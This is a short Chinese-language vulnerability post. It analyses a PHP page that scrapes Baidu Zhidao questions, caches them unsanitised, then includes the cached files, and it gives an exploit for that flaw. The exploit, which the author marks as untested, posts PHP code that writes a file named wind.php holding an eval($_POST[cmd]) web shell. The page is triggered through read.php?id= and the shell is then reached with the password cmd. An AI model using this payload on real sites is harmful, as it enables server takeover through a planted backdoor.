read.php

以下是引用片段:

include( "require.php" );
if ( $cacheis == 1 && file_exists( "cache/read/".$_GET['id'].".html" ) )
//要开启缓存
{
                $filemtime = filemtime( "cache/read/".$_GET['id'].".html" );
                $dqtime = strtotime( date( "Y-m-d H:i:s" ) );
                $time = round( ( $dqtime - $filemtime ) / 60 );
                if ( $time < $rcachetime )
                {
                                include( "cache/read/".$_GET['id'].".html" );
                               //包含HTML 以下说到怎么搞这个HTML
                                exit( );
                }
}
$html = geturldata( "http://zhidao.baidu.com/question/".$_GET['id'].".html" );
//以下是转换代码 省
if ( $cacheis == 1 )
{
                cache( $_GET['id'], "read", "read" );
}
//再看cache
function cache($id,$pn,$type)
{
  $content = ob_get_contents();
  if($type!="list")
    $fp = fopen("cache/".$type."/".$id.".html", "w");
  else
    $fp = fopen("cache/".$type."/".$id.$pn.".html", "w");
  fwrite($fp, $content);
  fclose($fp);
}

怎么操作呢  先在百度知道发一篇东西 带有PHP代码的 (*^__^*) 嘻嘻 然后就  (*^__^*) 嘻嘻

这个洞还是比较经典的,以下是EXP。未测试。

1.在百度写一个帖子,比如帖子ID=xxoo,帖子中带有如下代码::<?fputs(fopen("wind.php","w"),"<?eval(\$_POST[cmd]);?>")?> 。

2.然后访问http://127.0.0.1/read.php?id=xxoo

3.我们的马地址http://127.0.0.1/wind.php  密码 cmd.

但是我还有点不确定的是 $content这个函数里面的内容。。